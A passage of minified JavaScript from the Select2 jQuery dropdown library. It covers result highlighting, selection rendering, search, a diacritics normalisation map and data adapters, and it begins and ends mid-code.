b=e.$results.scrollTop(),c=e.$results.get(0).scrollHeight-b+a.deltaY,d=a.deltaY>0&&b-a.deltaY<=0,f=a.deltaY<0&&c<=e.$results.height();d?(e.$results.scrollTop(0),a.preventDefault(),a.stopPropagation()):f&&(e.$results.scrollTop(e.$results.get(0).scrollHeight-e.$results.height()),a.preventDefault(),a.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[aria-selected]",function(c){var d=a(this),f=b.GetData(this,"data");if("true"===d.attr("aria-selected"))return void(e.options.get("multiple")?e.trigger("unselect",{originalEvent:c,data:f}):e.trigger("close",{}));e.trigger("select",{originalEvent:c,data:f})}),this.$results.on("mouseenter",".select2-results__option[aria-selected]",function(c){var d=b.GetData(this,"data");e.getHighlightedResults().removeClass("select2-results__option--highlighted"),e.trigger("results:focus",{data:d,element:a(this)})})},c.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},c.prototype.destroy=function(){this.$results.remove()},c.prototype.ensureHighlightVisible=function(){var a=this.getHighlightedResults();if(0!==a.length){var b=this.$results.find("[aria-selected]"),c=b.index(a),d=this.$results.offset().top,e=a.offset().top,f=this.$results.scrollTop()+(e-d),g=e-d;f-=2*a.outerHeight(!1),c<=2?this.$results.scrollTop(0):(g>this.$results.outerHeight()||g<0)&&this.$results.scrollTop(f)}},c.prototype.template=function(b,c){var d=this.options.get("templateResult"),e=this.options.get("escapeMarkup"),f=d(b,c);null==f?c.style.display="none":"string"==typeof f?c.innerHTML=e(f):a(c).append(f)},c}),b.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),b.define("select2/selection/base",["jquery","../utils","../keys"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,b.Observable),d.prototype.render=function(){var c=a('<span class="select2-selection" role="combobox"  aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=b.GetData(this.$element[0],"old-tabindex")?this._tabindex=b.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),c.attr("title",this.$element.attr("title")),c.attr("tabindex",this._tabindex),this.$selection=c,c},d.prototype.bind=function(a,b){var d=this,e=(a.id,a.id+"-results");this.container=a,this.$selection.on("focus",function(a){d.trigger("focus",a)}),this.$selection.on("blur",function(a){d._handleBlur(a)}),this.$selection.on("keydown",function(a){d.trigger("keypress",a),a.which===c.SPACE&&a.preventDefault()}),a.on("results:focus",function(a){d.$selection.attr("aria-activedescendant",a.data._resultId)}),a.on("selection:update",function(a){d.update(a.data)}),a.on("open",function(){d.$selection.attr("aria-expanded","true"),d.$selection.attr("aria-owns",e),d._attachCloseHandler(a)}),a.on("close",function(){d.$selection.attr("aria-expanded","false"),d.$selection.removeAttr("aria-activedescendant"),d.$selection.removeAttr("aria-owns"),d.$selection.focus(),window.setTimeout(function(){d.$selection.focus()},0),d._detachCloseHandler(a)}),a.on("enable",function(){d.$selection.attr("tabindex",d._tabindex)}),a.on("disable",function(){d.$selection.attr("tabindex","-1")})},d.prototype._handleBlur=function(b){var c=this;window.setTimeout(function(){document.activeElement==c.$selection[0]||a.contains(c.$selection[0],document.activeElement)||c.trigger("blur",b)},1)},d.prototype._attachCloseHandler=function(c){a(document.body).on("mousedown.select2."+c.id,function(c){var d=a(c.target),e=d.closest(".select2");a(".select2.select2-container--open").each(function(){a(this),this!=e[0]&&b.GetData(this,"element").select2("close")})})},d.prototype._detachCloseHandler=function(b){a(document.body).off("mousedown.select2."+b.id)},d.prototype.position=function(a,b){b.find(".selection").append(a)},d.prototype.destroy=function(){this._detachCloseHandler(this.container)},d.prototype.update=function(a){throw new Error("The `update` method must be defined in child classes.")},d}),b.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(a,b,c,d){function e(){e.__super__.constructor.apply(this,arguments)}return c.Extend(e,b),e.prototype.render=function(){var a=e.__super__.render.call(this);return a.addClass("select2-selection--single"),a.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),a},e.prototype.bind=function(a,b){var c=this;e.__super__.bind.apply(this,arguments);var d=a.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",d).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",d),this.$selection.on("mousedown",function(a){1===a.which&&c.trigger("toggle",{originalEvent:a})}),this.$selection.on("focus",function(a){}),this.$selection.on("blur",function(a){}),a.on("focus",function(b){a.isOpen()||c.$selection.focus()})},e.prototype.clear=function(){var a=this.$selection.find(".select2-selection__rendered");a.empty(),a.removeAttr("title")},e.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},e.prototype.selectionContainer=function(){return a("<span></span>")},e.prototype.update=function(a){if(0===a.length)return void this.clear();var b=a[0],c=this.$selection.find(".select2-selection__rendered"),d=this.display(b,c);c.empty().append(d),c.attr("title",b.title||b.text)},e}),b.define("select2/selection/multiple",["jquery","./base","../utils"],function(a,b,c){function d(a,b){d.__super__.constructor.apply(this,arguments)}return c.Extend(d,b),d.prototype.render=function(){var a=d.__super__.render.call(this);return a.addClass("select2-selection--multiple"),a.html('<ul class="select2-selection__rendered"></ul>'),a},d.prototype.bind=function(b,e){var f=this;d.__super__.bind.apply(this,arguments),this.$selection.on("click",function(a){f.trigger("toggle",{originalEvent:a})}),this.$selection.on("click",".select2-selection__choice__remove",function(b){if(!f.options.get("disabled")){var d=a(this),e=d.parent(),g=c.GetData(e[0],"data");f.trigger("unselect",{originalEvent:b,data:g})}})},d.prototype.clear=function(){var a=this.$selection.find(".select2-selection__rendered");a.empty(),a.removeAttr("title")},d.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},d.prototype.selectionContainer=function(){return a('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation">&times;</span></li>')},d.prototype.update=function(a){if(this.clear(),0!==a.length){for(var b=[],d=0;d<a.length;d++){var e=a[d],f=this.selectionContainer(),g=this.display(e,f);f.append(g),f.attr("title",e.title||e.text),c.StoreData(f[0],"data",e),b.push(f)}var h=this.$selection.find(".select2-selection__rendered");c.appendMany(h,b)}},d}),b.define("select2/selection/placeholder",["../utils"],function(a){function b(a,b,c){this.placeholder=this.normalizePlaceholder(c.get("placeholder")),a.call(this,b,c)}return b.prototype.normalizePlaceholder=function(a,b){return"string"==typeof b&&(b={id:"",text:b}),b},b.prototype.createPlaceholder=function(a,b){var c=this.selectionContainer();return c.html(this.display(b)),c.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),c},b.prototype.update=function(a,b){var c=1==b.length&&b[0].id!=this.placeholder.id;if(b.length>1||c)return a.call(this,b);this.clear();var d=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(d)},b}),b.define("select2/selection/allowClear",["jquery","../keys","../utils"],function(a,b,c){function d(){}return d.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(a){d._handleClear(a)}),b.on("keypress",function(a){d._handleKeyboardClear(a,b)})},d.prototype._handleClear=function(a,b){if(!this.options.get("disabled")){var d=this.$selection.find(".select2-selection__clear");if(0!==d.length){b.stopPropagation();var e=c.GetData(d[0],"data"),f=this.$element.val();this.$element.val(this.placeholder.id);var g={data:e};if(this.trigger("clear",g),g.prevented)return void this.$element.val(f);for(var h=0;h<e.length;h++)if(g={data:e[h]},this.trigger("unselect",g),g.prevented)return void this.$element.val(f);this.$element.trigger("change"),this.trigger("toggle",{})}}},d.prototype._handleKeyboardClear=function(a,c,d){d.isOpen()||c.which!=b.DELETE&&c.which!=b.BACKSPACE||this._handleClear(c)},d.prototype.update=function(b,d){if(b.call(this,d),!(this.$selection.find(".select2-selection__placeholder").length>0||0===d.length)){var e=a('<span class="select2-selection__clear">&times;</span>');c.StoreData(e[0],"data",d),this.$selection.find(".select2-selection__rendered").prepend(e)}},d}),b.define("select2/selection/search",["jquery","../utils","../keys"],function(a,b,c){function d(a,b,c){a.call(this,b,c)}return d.prototype.render=function(b){var c=a('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="textbox" aria-autocomplete="list" /></li>');this.$searchContainer=c,this.$search=c.find("input");var d=b.call(this);return this._transferTabIndex(),d},d.prototype.bind=function(a,d,e){var f=this;a.call(this,d,e),d.on("open",function(){f.$search.trigger("focus")}),d.on("close",function(){f.$search.val(""),f.$search.removeAttr("aria-activedescendant"),f.$search.trigger("focus")}),d.on("enable",function(){f.$search.prop("disabled",!1),f._transferTabIndex()}),d.on("disable",function(){f.$search.prop("disabled",!0)}),d.on("focus",function(a){f.$search.trigger("focus")}),d.on("results:focus",function(a){f.$search.attr("aria-activedescendant",a.id)}),this.$selection.on("focusin",".select2-search--inline",function(a){f.trigger("focus",a)}),this.$selection.on("focusout",".select2-search--inline",function(a){f._handleBlur(a)}),this.$selection.on("keydown",".select2-search--inline",function(a){if(a.stopPropagation(),f.trigger("keypress",a),f._keyUpPrevented=a.isDefaultPrevented(),a.which===c.BACKSPACE&&""===f.$search.val()){var d=f.$searchContainer.prev(".select2-selection__choice");if(d.length>0){var e=b.GetData(d[0],"data");f.searchRemoveChoice(e),a.preventDefault()}}});var g=document.documentMode,h=g&&g<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(a){if(h)return void f.$selection.off("input.search input.searchcheck");f.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(a){if(h&&"input"===a.type)return void f.$selection.off("input.search input.searchcheck");var b=a.which;b!=c.SHIFT&&b!=c.CTRL&&b!=c.ALT&&b!=c.TAB&&f.handleSearch(a)})},d.prototype._transferTabIndex=function(a){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},d.prototype.createPlaceholder=function(a,b){this.$search.attr("placeholder",b.text)},d.prototype.update=function(a,b){var c=this.$search[0]==document.activeElement;if(this.$search.attr("placeholder",""),a.call(this,b),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),c){this.$element.find("[data-select2-tag]").length?this.$element.focus():this.$search.focus()}},d.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var a=this.$search.val();this.trigger("query",{term:a})}this._keyUpPrevented=!1},d.prototype.searchRemoveChoice=function(a,b){this.trigger("unselect",{data:b}),this.$search.val(b.text),this.handleSearch()},d.prototype.resizeSearch=function(){this.$search.css("width","25px");var a="";if(""!==this.$search.attr("placeholder"))a=this.$selection.find(".select2-selection__rendered").innerWidth();else{a=.75*(this.$search.val().length+1)+"em"}this.$search.css("width",a)},d}),b.define("select2/selection/eventRelay",["jquery"],function(a){function b(){}return b.prototype.bind=function(b,c,d){var e=this,f=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],g=["opening","closing","selecting","unselecting","clearing"];b.call(this,c,d),c.on("*",function(b,c){if(-1!==a.inArray(b,f)){c=c||{};var d=a.Event("select2:"+b,{params:c});e.$element.trigger(d),-1!==a.inArray(b,g)&&(c.prevented=d.isDefaultPrevented())}})},b}),b.define("select2/translation",["jquery","require"],function(a,b){function c(a){this.dict=a||{}}return c.prototype.all=function(){return this.dict},c.prototype.get=function(a){return this.dict[a]},c.prototype.extend=function(b){this.dict=a.extend({},b.all(),this.dict)},c._cache={},c.loadPath=function(a){if(!(a in c._cache)){var d=b(a);c._cache[a]=d}return new c(c._cache[a])},c}),b.define("select2/diacritics",[],function(){return{"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ω":"ω","ς":"σ"}}),b.define("select2/data/base",["../utils"],function(a){function b(a,c){b.__super__.constructor.call(this)}return a.Extend(b,a.Observable),b.prototype.current=function(a){throw new Error("The `current` method must be defined in child classes.")},b.prototype.query=function(a,b){throw new Error("The `query` method must be defined in child classes.")},b.prototype.bind=function(a,b){},b.prototype.destroy=function(){},b.prototype.generateResultId=function(b,c){var d=b.id+"-result-";return d+=a.generateChars(4),null!=c.id?d+="-"+c.id.toString():d+="-"+a.generateChars(4),d},b}),b.define("select2/data/select",["./base","../utils","jquery"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,a),d.prototype.current=function(a){var b=[],d=this;this.$element.find(":selected").each(function(){var a=c(this),e=d.item(a);b.push(e)}),a(b)},d.prototype.select=function(a){var b=this;if(a.selected=!0,c(a.element).is("option"))return a.element.selected=!0,void this.$element.trigger("change");if(this.$element.prop("multiple"))this.current(function(d){var e=[];a=[a],a.push.apply(a,d);for(var f=0;f<a.length;f++){var g=a[f].id;-1===c.inArray(g,e)&&e.push(g)}b.$element.val(e),b.$element.trigger("change")});else{var d=a.id;this.$element.val(d),this.$element.trigger("change")}},d.prototype.unselect=function(a){var b=this;if(this.$element.prop("multiple")){if(a.selected=!1,c(a.element).is("option"))return a.element.selected=!1,void this.$element.trigger("change");this.current(function(d){for(var e=[],f=0;f<d.length;f++){var g=d[f].id;g!==a.id&&-1===c.inArray(g,e)&&e.push(g)}b.$element.val(e),b.$element.trigger("change")})}},d.prototype.bind=function(a,b){var c=this;this.container=a,a.on("select",function(a){c.select(a.data)}),a.on("unselect",function(a){c.unselect(a.data)})},d.prototype.destroy=function(){this.$element.find("*").each(function(){b.RemoveData(this)})},d.prototype.query=function(a,b){var d=[],e=this;this.$element.children().each(function(){var b=c(this);if(b.is("option")||b.is("optgroup")){var f=e.item(b),g=e.matches(a,f);null!==g&&d.push(g)}}),b({results:d})},d.prototype.addOptions=function(a){b.appendMany(this.$element,a)},d.prototype.option=function(a){var d;a.children?(d=document.createElement("optgroup"),d.label=a.text):(d=document.createElement("option"),void 0!==d.textContent?d.textContent=a.text:d.innerText=a.text),void 0!==a.id&&(d.value=a.id),a.disabled&&(d.disabled=!0),a.selected&&(d.selected=!0),a.title&&(d.title=a.title);var e=c(d),f=this._normalizeItem(a);return f.element=d,b.StoreData(d,"data",f),e},d.prototype.item=function(a){var d={};if(null!=(d=b.GetData(a[0],"data")))return d;if(a.is("option"))d={id:a.val(),text:a.text(),disabled:a.prop("disabled"),selected:a.prop("selected"),title:a.prop("title")};else if(a.is("optgroup")){d={text:a.prop("label"),children:[],title:a.prop("title")};for(var e=a.children("option"),f=[],g=0;g<e.length;g++){var h=c(e[g]),i=this.item(h);f.push(i)}d.children=f}return d=this._normalizeItem(d),d.element=a[0],b.StoreData(a[0],"data",d),d},d.prototype._normalizeItem=function(a){a!==Object(a)&&(a={id:a,text:a}),a=c.extend({},{text:""},a);var b={selected:!1,disabled:!1};return null!=a.id&&(a.id=a.id.toString()),null!=a.text&&(a.text=a.text.toString()),null==a._resultId&&a.id&&null!=this.container&&(a._resultId=this.generateResultId(this.container,a)),c.extend({},b,a)},d.prototype.matches=function(a,b){return this.options.get("matcher")(a,b)},d}),b.define("select2/data/array",["./select","../utils","jquery"],function(a,b,c){function d(a,b){var c=b.get("data")||[];d.__super__.constructor.call(this,a,b),this.addOptions(this.convertToOptions(c))}return b.Extend(d,a),d.prototype.select=function(a){var b=this.$element.find("option").filter(function(b,c){return c.value==a.id.toString()});0===b.length&&(b=this.option(a),this.addOptions(b)),d.__super__.select.call(this,a)},d.prototype.convertToOptions=function(a){function d(a){return function(){return c(this).val()==a.id}}for(var e=this,f=this.$element.find("option"),g=f.map(function(){return e.item(c(this)).id}).get(),h=[],i=0;i<a.length;i++){var j=this._normalizeItem(a[i]);if(c.inArray(j.id,g)>=0){var k=f.filter(d(j)),l=this.item(k),m=c.extend(!0,{},j,l),n=this.option(m);k.replaceWith(n)}else{var o=this.option(j);if(j.children){var p=this.convertToOptions(j.children);b.appendMany(o,p)}h.push(o)}}return h},d}),b.define("select2/data/ajax",["./array","../utils","jquery"],function(a,b,c){function d(a,b){this.ajaxOptions=this._applyDefaults(b.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),d.__super__.constructor.call(this,a,b)}return 